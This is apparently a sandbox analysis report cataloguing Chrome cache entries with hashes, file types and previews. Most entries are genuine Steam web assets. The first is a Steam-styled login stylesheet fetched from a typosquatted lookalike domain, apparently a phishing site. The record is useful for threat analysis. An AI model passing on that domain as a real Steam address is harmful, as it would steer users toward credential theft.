MD5:	A61A0912F47905F1904CADBB5D6FE668
SHA1:	2B2FA5E7FEB359D04A61842A2A4325C4749056F9
SHA-256:	56C9D30C57ED308DEA0C9B2982D5F2999AB220AAB89F4598CD6F97F951BECDAE
SHA-512:	F50BC73D7F51D4D22DE3180380AB22266ACF854E1AFFF5562BFE3F406FB44B3B07D7CB2DFD80BD1FC5573879EAEA29F6E255996A64FE8C0BE23E21AD78FE9DFF
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/20412b512e08005d5856534b4b586444432a04296f.css
Preview:	@import"https://fonts.cdnfonts.com/css/motiva-sans?styles=101373,102902,102901,103845";body,html{padding:0;margin:0}body{color:#e9e9e9;background-color:#181a21}body,input,button{font-family:Motiva Sans,sans-serif;font-weight:400}*{box-sizing:border-box}a{color:#afafaf;font-size:12px;text-decoration:none;cursor:pointer}._pageContent_41tvo_1{background:radial-gradient(#181a2100,#181a21) fixed no-repeat,url(https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg) center top no-repeat,#181a21;padding:0 8px;width:100%}._loginContainer_41tvo_7{padding-top:80px;padding-bottom:150px;display:flex;flex-direction:column;align-items:center;box-sizing:content-box}._dialogBlock_41tvo_16{position:relative}@media screen and (max-width: 960px){._responsivePageContent_41tvo_21{position:relative;padding-top:62px;z-index:10;padding-bottom:120px;min-height:calc(100vh - 120px)}}@media screen and (max-width: 700px){._pageContent_41tvo_1{background:radial-gradient(

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (303), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	31241
Entropy (8bit):	5.511338542193753
Encrypted:	false
SSDEEP:	768:JFtyux8CbTY7fG2WTJt14wXrx8aoSAUwbTY7fG29TJt14wt2ySSSonk7B2D:JFtyux8CbTY7fG2WTJt14wXrx8aoSAj4
MD5:	1C5D68B828D8BF7A38E4297761C62298
SHA1:	0F768D5A6B22021BBECAC104937525944831B09B
SHA-256:	7E57B06DF24CCA39FEFF8314E4732430BDD8DC141986B158578B0B1FC60D123C
SHA-512:	D1214D234864B4C907BC7183784A1E86798FB39BADB2ED94FE22505F1C43A560D869046C822EB34B087B1BEA901987F599714BD21E018106BE2A489D6DB8137E
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="ru">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>......... Steam</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/shared_global.css?v=g5jYek09HZX0" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs" rel="stylesheet" type="text/css" >.<l

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Algol 68 source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3276
Entropy (8bit):	5.553388243206585
Encrypted:	false
SSDEEP:	96:gVRrYJuRrYJMu31/3z5SY2ZVba/vlWmij:gfrsWrsMu31/3dSY2jkl4j
MD5:	4522A2252222088E18051FC411359093
SHA1:	FBFD96E45FCFE5E7CE7F4043407499FB0E960807
SHA-256:	6F8426105449E000CC11B5C2670677F090023C11C7D65BAF4C13C10C3A829141
SHA-512:	A135534B1766CF4CC538E28D6F6EF517A946E62D0D18DB3007071F8F1B6BBE4979F2CD4501AA88019B24B039A0A02932139B8E4C31B109DB41C78A02F6595BCA
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/javascript/base64-binary.js?v=RSKiJSIiCI4Y
Preview:	../..Copyright (c) 2011, Daniel Guerrero..All rights reserved.....Redistribution and use in source and binary forms, with or without..modification, are permitted provided that the following conditions are met:.. Redistributions of source code must retain the above copyright.. notice, this list of conditions and the following disclaimer... * Redistributions in binary form must reproduce the above copyright.. notice, this list of conditions and the following disclaimer in the.. documentation and/or other materials provided with the distribution.....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND..ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED..WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE..DISCLAIMED. IN NO EVENT SHALL DANIEL GUERRERO BE LIABLE FOR ANY..DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES..(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUB

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3355
Entropy (8bit):	5.396115949174596
Encrypted:	false
SSDEEP:	48:jrE1CT8Pi/CCsj5x9cHcYVGwGnrGdrtjcd/UfxGD/CtByLF3vDD+FQyB8pCkP:IawCp8E/0Ec+ByBv+FQyCzP
MD5:	9AF8AAEF60A740E8062CCDA7EFE7C179
SHA1:	1D72FFFE2679D8E55F35C1CEEFA29261C55E0A43
SHA-256:	7173A15A85C666C409667810A53ED83FE73505988FF8496EE65C8EE03D683A6A
SHA-512:	349F5F3958A19BE9B83DE6A18F22786B0C9D79815ABA89F721EE4A2C2DA66098F24794AEA023D84E645F17BCB7A9A5E65EAC331C79530010AA08707329F32114
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/crypto/rsa.js
Preview:	var RSAPublicKey = function($modulus_hex, $encryptionExponent_hex) {...this.modulus = new BigInteger( $modulus_hex, 16);...this.encryptionExponent = new BigInteger( $encryptionExponent_hex, 16);..};....var Base64 = {...base64: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",...encode: function($input) {....if (!$input) {.....return false;....}....var $output = "";....var $chr1, $chr2, $chr3;....var $enc1, $enc2, $enc3, $enc4;....var $i = 0;....do {.....$chr1 = $input.charCodeAt($i++);.....$chr2 = $input.charCodeAt($i++);.....$chr3 = $input.charCodeAt($i++);.....$enc1 = $chr1 >> 2;.....$enc2 = (($chr1 & 3) << 4) \| ($chr2 >> 4);.....$enc3 = (($chr2 & 15) << 2) \| ($chr3 >> 6);.....$enc4 = $chr3 & 63;.....if (isNaN($chr2)) $enc3 = $enc4 = 64;.....else if (isNaN($chr3)) $enc4 = 64;.....$output += this.base64.charAt($enc1) + this.base64.charAt($enc2) + this.base64.charAt($enc3) + this.base64.charAt($enc4);....} while ($i < $input.length);....return $output;...},...decode:

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	2175818
Entropy (8bit):	5.562473572476677
Encrypted:	false
SSDEEP:	12288:FoNNy6NEjLDgfHxyvXoW1hsMpta8vlrgAdW718HmDLuNg/dt7muR0Pq:FANyvDg0hsMHaSrg6WxLuNCdtKuR0Pq
MD5:	694562C2AD40E74A8B87C3120B08A1FA
SHA1:	27F264BD235654B8AF75E8F9D40C5EADBF2E3DEA
SHA-256:	792F51AA46A8493DC87FD2956E7B1F3D70D8B242197CE80A9086795B4C6A7992
SHA-512:	4EF828B3870C2E9B40594E2179205D84C2DBC1B405C5D543BE0DFBA323588DED4832D690609D16070633496D3FC5741F77D6A8E6E64C80EED76213814A67D741
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/main.js?v=aUViwq1A50qL&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8792],{53955:(e,t,r)=>{var i={"./shoppingcart_brazilian.json":[46865,4977],"./shoppingcart_bulgarian.json":[62810,9050],"./shoppingcart_czech.json":[16052,6771],"./shoppingcart_danish.json":[83976,4630],"./shoppingcart_dutch.json":[85333,8709],"./shoppingcart_english.json":[95811,311],"./shoppingcart_finnish.json":[81676,2964],"./shoppingcart_french.json":[11481,3679],"./shoppingcart_german.json":[91187,2753],"./shoppingcart_greek.json":[89155,5579],"./shoppingcart_hungarian.json":[74150,9326],"./shoppingcart_indonesian.json":[39761,9935],"./shoppingcart_italian.json":[82411,2095],"./shoppingcart_japanese.json":[38374,1192],"./shoppingcart_koreana.json":[59552,2184],"./shoppingcart_latam.json":[32464,6592],"./shoppingcart_norwegian.json":[93987,3167],"./shoppingcart

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (361), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	57258
Entropy (8bit):	5.243366680566906
Encrypted:	false
SSDEEP:	768:kHHithZY2ucy8vQfVYvArYRaeNBJk0XHBkwQ+JOJSk3acbAHEvaSlEP04rn/xENj:of8JXNrhBcRTUEFwiKYfBn
MD5:	3D42397BCB312EC07D70AE0D68FBADDE
SHA1:	3AF248D34E6A31B3D3269C65505458D42372EF0B
SHA-256:	53961D66B24EF8CC16B6CB5CB249CDF311AA89B6AFC70F06A242FCCC3A4EFCD3
SHA-512:	F4C325A231B11CE6A3E2899367E081CD6AC2E7AC1469542414BA0E3B57DF5897DF51615E2AD0AB6559E6B38003FFDBFA533C6E5701D0BC2F40FAE80EB4332348
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=u2FIaietX6aF&l=english
Preview:	/* CSS Document /....body.v6 {....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal /......}.....tooltip_q_ctn {.. background: rgba(255,255,255,0.4);.. color: white;.. border-radius: 10px;.. font-size: 11px;.. padding: 1px 5px 2px 5px;.. cursor: default;..}...tooltip_q_ctn:hover {.. background: rgba(255,255,255,0.5);..}....body.v6.checkout .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -50px;..}....body.v6.checkout_microtxn .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -10px;..}....body.v6.cart_page h4 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal */.......font-weight: normal;...color: #c7d5e0;..}....body.v6.login .rightcol h2 {...margin-top: 0px;..}..body.v6.login .rightcol .spotlight_block {...margin-bottom: 25px;..}....#checkout_review_cart_area {...margin-top: 56px;..}....#payment_info_tab .checkout_content .payment_info_form_area {...background: rgba( 0, 0, 0, 0.2 );...paddi

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down_padded.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/header/logo_steam.svg?t=962016
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	17975
Entropy (8bit):	5.234304596583918
Encrypted:	false
SSDEEP:	384:gWNE9NzVI6c4rNORWRyWKPfntY8XiYXUS2qk2VfVQEOHY46ZHnUI7Z0wTmEqNXMi:gWC99VI6c4eWRyJPfnSpYXUS2qk2VfmN
MD5:	2FDE91E2F3BB85F3A585C1982CEC5212
SHA1:	A96CCAE29A05FE0FC0416DFBCCFBE7D0A8BE2749
SHA-256:	B8C231EB652EA06DBB97709A6382739CEEE11EB3861F2D801C0B3989A936FA4E
SHA-512:	268E41D029D4A28BC31E0D36A1143CD17F2F4BDCBFF23FA1339A6D18DC4EE7D67A952D5ED34E609A0FEE2AD030E3B3D6C21283E3611C4679A7A113A889E26280
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/login.css?v=L96R4vO7hfOl&l=english
Preview:	...login_modal {...max-width: 502px;...font-family: Arial, Helvetica, sans-serif;...font-size: 12px;..}.....auth_modal_h1 {...color: #67c1f5;...font-size: 24px;...font-weight: normal;..}.....auth_button_h3 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; /* normal */.......font-size: 22px;...font-weight: normal;...color: #ffffff;..}.....auth_button_h5 {...font-size: 13px;...color: #66C0F4;...font-weight: bold;..}.....auth_message_area, .twofactorauth_message_area {...position: relative;...padding-left: 70px;...min-height: 92px;..}.....auth_icon {...position: absolute;...top: 6px;...left: 0px;...width: 67px;...height: 48px;.....background-image: url('https://store.akamai.steamstatic.com/public/shared/images/login/emailauth_icons2.png');...background-repeat: no-repeat;..}.....auth_icon.auth_icon_trash {...background-position: center 0px;..}.....auth_icon.auth_icon_key {...background-position: center -48px;..}.....auth_icon.auth_icon_lock {...background-position: cent

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65339), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	65881
Entropy (8bit):	4.994268081658709
Encrypted:	false
SSDEEP:	1536:B7aiXrClRYuLGh4iS72wI7CsrpzAuIRmfQ+:9klR7LGh4iS77I7CsmuIRmfQ+
MD5:	47619749A77F1358844215EBF0BD88EB
SHA1:	E1273E426CF013D92378F658BE99F72593559A40
SHA-256:	6323D60A28DCFE5E071C30BF2F4EE94BD3ABA6E7D771F3BC715F3E65626D15A5
SHA-512:	9023246B2914C57C30DBA6410373BE1C2170FE99318D1FFC26B26CC351E25B1110D0B75B7083D0FED258A1F3F45CE1BF045AF3AEDB3D3B6999A9D1B7503B4834
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/main_english-json.js?contenthash=4b7b674856a3b07d81fe
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[9188],{67519:e=>{e.exports=JSON.parse('{"language":"english","CuratorAdmin_RSSFeed_title":"Manage my RSS Feeds","CuratorAdmin_RSSFeed_desc":"Setting up RSS feeds allows you to automate the Steam Events and Announcement creation from your existing content management platform. Your content from your site will automatically surface to Steam customers who follow you as News. ","CuratorAdmin_RSSFeed_lang_only":"Feed Language:","CuratorAdmin_Curator_lang_only":"NOTE: The curator is set to %1$s language which is different from the feed language of %2$s. Re-save the feed to update to this language.","CuratorAdmin_RSSFeed_lang":"The language is set on the group to \'%1$s\'. If this is not correct, you can edit the group profile and then re-setup this feed.","Cu

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/logo_steam_footer.png
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.358694969562842
Encrypted:	false
SSDEEP:	3:mSpzB/CNCkuS1vY:mSpziuS1A
MD5:	E217090B911CC13ABEDBEB688CA1A554
SHA1:	CB009E959AB4F54411454EF6EB16E67D01580C04
SHA-256:	3F401608D8945004C0B649400BAD5E54956C6749DCA05BFEA15C7F2CBA996761
SHA-512:	3E47A536E0A758292CC3033B6706377F030B6ADD7ACBBD62AF5C145CE70094EA25CBD6B899F2BE557DE6B7899C50E7E41B331448F20688BEF77B91A70AE5E768
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgn58yjDwGuX3xIFDcpVNukSBQ1nZ7P-EgUNccm79Q==?alt=proto
Preview:	ChsKBw3KVTbpGgAKBw1nZ7P+GgAKBw1xybv1GgA=

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
